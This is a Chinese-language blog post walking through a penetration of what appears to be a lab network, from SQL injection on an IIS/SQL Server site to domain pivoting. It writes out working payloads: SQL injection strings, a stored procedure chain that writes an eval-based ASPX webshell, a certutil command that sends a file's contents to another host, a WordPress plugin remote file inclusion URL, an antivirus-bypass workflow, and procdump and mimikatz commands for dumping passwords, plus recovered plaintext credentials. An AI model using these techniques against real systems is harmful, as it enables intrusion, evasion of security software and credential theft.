从漏洞挖掘到拿下服务器权限

项目拓扑


SQLServer写马、无回显命令执行、远程文件包含、360,火绒免杀、反向代理上线、权限提升等。

外网打点


SQLServer写马getshell

直接访问域名,发现如下页面;直接是一个SQL注入,并且参数是user_id

这里没什么好说的,数字型SQL注入,并且对%23、#进行限制,使用-- 即可绕过。
查看当前服务器类型是IIS,那就是IIS+SQL server数据库。

查看当前数据库:猜的没错,果然是SQL server

随便访问一个不存在的路径,竟然获取到了网站根路径。

尝试xp_cmdshell写马,显示超时,可能是存在杀软。

查询xp_cmdshell,也是关闭的。

http://www.xxx.com/?user_id=1 union select (select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'),null,null,null,null -- 

查看当前用户,dbo就等于databaseown,即sa用户

http://www.xxx.com/?user_id=1 union select null,null,User_Name(),null,null --

尝试开启xp_cmdshell扩展,失败。。。

查询sp_oacreate扩展是否开启,OK,是开启的。

union select (select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'),null,null,null,null -- 

这里补充一下,使用sp_oacreate扩展写文件,还要开启Ole自动化程序

exec sp_configure 'show advanced options',1;RECONFIGURE;sp_configure 'Ole Automation Procedures',1;RECONFIGURE;declare @o int;exec sp_oacreate 'scripting.filesystemobject',@o out; exec sp_oamethod @o,'copyfile',null,'C:\Windows\System32\inetsrv\config\applicationHost.config' ,'C:\inetpub\custerr\zh-CN\404.htm';

declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;exec SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'C:\inetpub\edrfgyhujikopl\a.txt';exec sp_oamethod @f,'WriteLine',null,'abcdef';

成功写入内容。

declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;exec SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'C:\inetpub\edrfgyhujikopl\winsha.aspx';exec sp_oamethod @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["x"],a%2Bb));%>';

蚁剑上传免杀马,发现没有杀掉,但是执行,获取不到会话,查看tasklist,发现360主动防御是开启的。

尝试上传工具杀掉360主动防御进程,但是失败了。

重新从信息收集入手,A:/autounattend.xml 文件中获取到账号win2008的密码,也尝试administrator的密码,但是不是

查看开放的端口,发现3389端口是开放的。

那就远程桌面连接关闭360和主动防御。设置->安全防护中心->主动防御服务,取消勾选就可以了。

重新运行后门文件,获取到会话,但是获取到的会话是普通用户权限,使用如下模块检测是否可提权。

ms15-051下载:https://github.com/euphrat1ca/ms15-051

这里ms15-051上传的时候,还是需要做免杀,否则win2008上运行ms15-051.exe "whoami"的时候,360还是会拦截。

成功获取到SYSTEM权限,迁移进程。

抓取明文密码

Administrator  WIN-7DSM1JVE9PO  Adminmimayijingwangjile@
win2008        WIN-7DSM1JVE9PO  Winmimayijingwangjile@

发现还有另外一个IP192.168.153.130

添加路由

使用msf socks5代理模块

内网渗透


扫描存活地址和开放的端口

无回显命令执行

添加代理访问192.168.153.128和192.168.153.129的80端口,192.168.253.128页面直接显示源代码,执行系统命令,但是发现没有回显。

proxychains4 curl 192.168.153.128 -d "shell=for /f %i in ('type c:\phpstudy_pro\COM\a.txt') do certutil -urlcache  -split -f http://192.168.153.130/aaa/%i"

在win2008上面查看接收到的日志信息,发现a.txt文件内容是dsuijaddjsfvos.php

访问:http://192.168.153.128dsuijaddjsfvos.php ,是一个后门文件,使用蚁剑连接。

生成正向攻击载荷,上线windows7,迁移一个SYSTEM权限的进程,获取到SYSTEM权限

抓取到windows7的明文密码。

wordpress远程文件包含

192.168.153.129是一个wordpress

proxychains wpscan --url http://192.168.153.129/ --enumerate vp

POST /xmlrpc.php HTTP/1.1
Host: 192.168.153.129
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

文件包含:https://www.exploit-db.com/exploits/40290

成功读取到win.ini文件。

远程文件包含,这里192.168.153.129 ping 不通192.168.153.130,但是可以访问192.168.153.130的80端口

http://192.168.153.129/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://192.168.153.130/info.txt

包含一句话木马成功getshell

上传免杀马,获取到会话

使用procdump+mimikatz的方式读取密码(条件:需要用户注销重新登陆)

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

下载lsass.dmp文件到本地使用mimikatz读取密码。

privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

posted @ 2023-10-22 10:28  Cx330Lm  阅读(56)  评论(0编辑  收藏  举报